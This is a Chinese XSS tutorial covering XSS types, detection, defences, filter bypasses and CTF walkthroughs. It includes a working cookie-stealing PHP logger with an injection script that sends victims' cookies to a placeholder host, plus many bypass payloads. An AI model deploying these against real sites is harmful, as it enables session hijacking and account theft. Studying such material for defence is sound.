XSS
0X01 什么是XSS?
本名是CSS(Cross Site Scripting),即跨站脚本攻击。为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。关键在于在网页中嵌入脚本代码。
0X02 XSS原理
XSS攻击通过在网页中嵌入客户端恶意脚本代码来实现盗取Cookie、改变网页内容、URL调转等目的。一般是通过JavaScript语言编写的JS脚本代码,因为JS是广泛使用的网络脚本语言主要用来向HTML页面添加交互行为,可以直接嵌入HTML页面。JS代码可以直接被浏览器解析这样就可以通过在页面嵌入或跨站执行JS代码达到攻击的目的。实际攻击中,往往通过<script src="http://xxxxxx"></script>
来加载外部脚本,这样就可以在外部准备好实现目的的脚本,这样不会被原网页的一些条件限制,只要一个链接就可以加载外部脚本实现攻击。
0X03 XSS类型
主要分为三类:反射型、储存型、DOM型。
1. 反射型
也称为非持久性XSS,过程是用户访问一个带有XSS的URL请求时(需要用户访问进行触发),服务器端接收数据后处理,然后把带有XSS代码的数据发回浏览器,浏览器解析这带有XSS代码的数据,造成XSS漏洞。因为过程像反射所以有了这个名字。
一个例子:
<?php
$username = $_GET['username'];
echo $username;
?>
这段代码的作用就是接受username值并输出,这里就存在反射型XSS,如果在这里输入<script>XSS恶意代码</script>
,就会造成反射型XSS漏洞。
2.存储型
也称为持久型XSS,因为会将数据存储在服务器端,这样的话会造成持久性的危害。相对于反射型XSS,这种漏洞更为”持久”,因为用户输入不仅仅被输出在了html中,而且还储存到了数据库中,这样每次访问这个页面时就会形成一次XSS,导致访问某个页面的用户会长期遭到攻击。它和另外两个的区别在于反射型和DOM型需要用户手动触发,而储存型不需要。常见出现的地方是留言板,微博,bbs等,有的网站个人资料设置也有这个问题存在。
输入的值会被插入到HTML中储存,所以要确定好输入点和输出点,输出的地方是在标签内还是标签属性内还是其他地方,如果在属性内,代码是不会执行的。所以想法闭合标签使输出不在属性中。比如下面这个,输出点在Value属性内,就要构造闭合标签。
<inpute type="text" name="content" value="内容"/>
构造代码闭合标签: "/><script>alert(1)</script>
得到的效果:<inpute type="text" name="content" value=""/><script>alert(1)</script>"/>
可以看到这样闭合后xss语句就在标签属性外了。
3.DOM型
DOM:即文档对象模型(Document Object Model),DOM实际上是以面向对象方式描述的文档模型。DOM定义了表示和修改文档所需的对象、这些对象的行为和属性以及这些对象之间的关系。可以把DOM认为是页面上数据和结构的一个树形表示,不过页面当然可能并不是以这种树的方式具体实现。通过 JavaScript,您可以重构整个 HTML 文档。您可以添加、移除、改变或重排页面上的项目。使用DOM可以允许程序和脚本动态的访问和更新文档内容、结构和样式。DOM为文档提供了结构化表示,并定义了如何通过脚本来访问文档。根据DOM规定,HTML文档的每个成员是一个节点。HTML的标签都是一个个节点,而这些节点组成了DOM的整体结构:节点树。其实打开Chrome的开发者工具element模块可以看到网页的DOM结构。
下面是一段经典的DOM型XSS示例
<script>
var temp = document.URL ; //获取URL
var index = document.URL.indexOf("content=")+4;
var par = temp.substring(index);
document.write(decodeURL(par)); //输入获取内容
</script>
上诉代码的意思是获取URL中content参数的值,并且输出,如果输入http://xxxx.html?content=<script>alert(//xss)</script>
,就会产生XSS漏洞。
Flash XSS
Flash XSS也叫XSF(Cross Site Flash),准确的说XSF应该算是XSS的分支,因为在XSS使用到的技巧,在XSF中只有一部分可以使用,而且XSF是基于ActionScript语言的。
不常用到:一篇文章–>https://www.secpulse.com/archives/44299.html
0X04 XSS漏洞的挖掘
检测XSS时,选择有特殊意义的字符,可有快速检测是否存在XSS。例如<,>,",',()
等,提交后查看源代码看看这些输入是否被转义。在测试时输入可以加上一些明显的标记便于寻找如AAAAA。在没办法看源码时不知道输出位子可以输入"/>XSStest
来测试。也可以用工具来扫描XSS漏洞。
一般通过插入xss代码后页面的弹窗或浏览器脚本错误来判断是否存在xss漏洞。对于xss,找到输入输出位置很重要,有时候输出位置就在输入页面,有时候有提示,有时候什么都不知道,所以找好输出位置很重要。
1.反射型XSS的挖掘
基本分4种情况:HTML标签之间,HTML标签之内,JavaScript代码的值,CSS代码的值。
HTML标签之间
最常出现的场景是
<div></div>
之间,这样我们提交的XSS代码是可以直接触发的。例如<div><script>alert(1);</script></div>
,如果是<title></title>
这样的标签中,插入的JS代码直接作为文本输出了,并没有执行,要先闭合标签,例如这个payload</textarea><script>alert(1);</script><textarea>
。HTML标签之内
最普通的场景是出现在
<input value=“[输出]”/>
位置上,对于这种情况,•跟之前一样,闭合标签,提交的payload:”><script>alert(1);</script><input value=“
,•另外一种就是闭合属性,然后利用一些事件来触发XSS,提交的payload:”onmouseover=alert(1) x=“
,后面的一个例题就用到了这个。•如果输出在src/href/action等属性内,例如<a href=“[输出]”></a>
,我们除了可以闭合标签外,还可以用javascript:alert(1)//
,data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=
JavaScript代码的值
有些javascript代码是服务端输出的,有时候会将用户输入的值一起输出,例如
<script>a=“[输出]”;</script>
,可以像上面那样闭合标签,也可以闭合变量值”;alert(1);//
,也可以利用<script>
标签的闭合机制,它会优先寻找最近的一个</script>
闭合.payload:</script><script>alert(1)//
CSS代码的值
出现在
body{color:[输出];}
的位置上,只存在于IE了,payload:1;xss:expression(if(!window.x){alert(1);window.x=1;})
2.储存型XSS的挖掘
根据上面对“反射型XSS挖掘”的学习,其实存储型XSS挖掘也就差不多了,只不过这里一般是表单的提交,然后进入服务端存储中,最终会在某个页面上输出,输出的位置有以下几种情况:
•表单提交后跳转到的页面有可能就是输出点
•表单所在的页面也有可能是输出点
•表单提交后不见了,具体的页面不清楚,得一个一个页面的去找
0X05 XSS利用
#### 1.盗取Cookie
把获取文件放在自己搭的网站服务器下。代码如下,stealcookies.php
<?php
$ua = $_SERVER["HTTP_USER_AGENT"];
$client_ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER["REQUEST_METHOD"];
$referer = $_SERVER["HTTP_REFERER"];
$date = date("F j, Y, g:i a");
$querystring = $_SERVER["QUERY_STRING"];
$log = fopen("cookie.txt","a+");
$str= "IP: $client_ip |Useragent: $ua | Method: $method | REF: $referer | Date: $date | Cookie: $querystring \n";
fwrite($log,$str);
?>
构造XSS语句
<script>document.write('<img src="http://xxxxxx/stealcookies.php?a=' + encodeURI(document.cookie) + '"/>')</script>
把上面的语句放到XSS的目标中,最好是存储型xss,比如某个博客或者论坛什么的存在存储型XSS,在里面发一篇帖子或者留上评论,内容就是上述语句,当其他用户或者管理员打开这个评论或者帖子链接后,就会触发,然后跳转到http ://xxxxxx/cookie.asp?msg=’+document.cookie的页面,然后当前账户的cookie信息就当成参数发到网站下的文件里了。然后的然后就可以那这个cookie登陆了。。。。。。
2.XSS Framework
XSS漏洞利用框架,就是XSS利用的代码组合,但是进行了整合并且还有图形化的界面,使用起来十分方便。网上有源码,自己搭一个就能用。
3.XSS GetShell
需要特定的场景下才能实现。DedeCMSV57_GBK_SP1版本就可以实现,书中的例子就是这个环境。因为title变量没进行过滤,在XSS语句通过$title传到了数据库。
0X06 防范
知道如何防范XSS也有利于进行XSS攻击,所谓知己知彼百战不殆。
防范的关键就是不让XSS语句能够执行。所以一般对输入的内容进行过滤以破坏XSS正常语句。
在PHP中提供了htmlspecialchars()、htmlentities()函数可以把一些预定义的字符转换为HTML实体。
预定义字符如下:
字符 | HTML实体 |
---|---|
& | & |
“ | " |
‘ | ' |
< | < |
> | > |
经过转义后构造的代码已经起不到作用了。
JSOUP:其过滤方式采取白名单方式。whitelist清理器能够在服务器端对用户输入的HTML进行过滤,只输出一些安全的标签和属性。而其配置可以根据自己所需修改。
OWASP Esapi:提供一系列的编码操作,通过编码,破环输入的XSS代码。
HttpOnly:httponly标注的cookie值无法被JavaScript获取。往往passwd都标注了httponly。
0X07 绕过
- 过滤会改变代码 ,所以我们不能直接这么写代码。但我们可以尝试改变 javascript的写法,使它依旧可以被浏览器执行但又不匹配正则表达式。例如 URL 编码:
<a href="javascript:alert ('xss')">link</a>
上面这段代码不匹配正则表达式,但是浏览器依旧会执行它,因为浏览器会首先进行 URL 解码操作。 - 利用空格。许多过滤匹配特殊的标签,包括起始与结束尖括号。但是,许多浏览器接受结束括号前的空白符,允许攻击者轻易避开这种过滤。例如:
<script >
- 因为许多人用小写字符编写HTML代码,所以一些过滤仅检查常用的小写恶意标签。例如:
<ScRiPt>
,通过改变字符大小写避开过滤。 - 一些过滤匹配任何成对的起始与结束尖括号,删除其中的任何内容,但通常可以依靠周围现有的语法,结束注入的标签,从而避开这种过滤。例如:可以控制下面代码中的value属性值:
<input type="hidden" name="pageid" value="foo">
就可以使用以下不会被过滤阻止的脚本,注入一个包含JavaScript的新标签:foo"><x styple=" x:expression(alert(document.cookie))
许多情况下,浏览器接受未结束的HTML标签;攻击者可以利用这种行为避开过滤。通过构造类似下面无效的HTML代码:<img src="" onerror=alert{document.cookie}
- 一些过滤匹配成对的起始与结束尖括号,提取其中的内容,并将这些内容与标签名称黑名单进行比较。可以通过使用多余的括号避开过滤。
<<script>alert(document.cookie);//<</script>
- 即使空字节后面的文本仍然在应用程序的响应中返回,但如果遇到空字节,一些过滤会停止处理字符串。在被过滤的表达式前插入一个URL编码的空字节即可避开这种过滤。
foo%00<script>
- 如果用户提交的数据在应用过滤后还进行了规范化,仍可以通过URL编码或双重编码被过滤的表达式,避开过滤,并对漏洞进行利用。
- 在gbk或gbXXX编码中可以通过宽字节绕过
%bf\、%df、%81
- CRLF注入绕过,利用
\r\n
在HTTP响应头注入回车换行符,并注入X-XSS-Protection: 0,可以防止脚本运行被阻止。 - IE同域白名单–Referer来源为本域则XSS Filter不生效
- Chorme同域白名单–标签嵌入的是同域内的js文件,XSS Filter就不会防御
- 编码(url编码等)
- 代码混淆(例如:jsfk)
检测流程
1.输入任意数据,寻找输出点
2.输入< > \ “ ‘ / 等字符,查看过滤情况
3.分析输出所在的环境(以html还是js解析)
4.构造payload
5.盲打
常用语句
•
<script>alert(1)</script>
弹出提示框•
<img src=“javascript:alert(1)”>
弹出提示框•
<script>alert(document.cookie)</script>
弹出用户COOKIES•
<iframe src=http://www.baidu.com></iframe>
在当前页插入另一站点•http://www.freebuf.com/sectool/4799.html (beef + msf)
•http://www.freebuf.com/articles/web/24372.html (xssf + msf)
0X08 题目
1-—>链接<—这是一个XSS基础题
在输入框中输入<script>alert(1)</script>
,弹窗有提示:
把1换掉就出flag了。。
2-—>链接<—
输入第一题的payload,出现这个,xss被检测出来了。
就不能这样写了,要想办法绕过。
输入<img src=# onerror=alert("success!") />
,过,得flag。
原因如下:用的img标签,src并没有给出图片路径。当图片没有找到路径(即src=“路径“找不到图片)就会弹出消息框,这个就是onerror=alert(xxxx)起的作用。
有提示,要弹出cookie,还没有过滤,直接输入<script>alert(document.cookie)</script>
就OK了。
4.
onmouseenter事件 —当鼠标指针移动到图像时执行 JavaScript
将onmouseenter添加到输入框的标签中,当鼠标点击时执行js代码。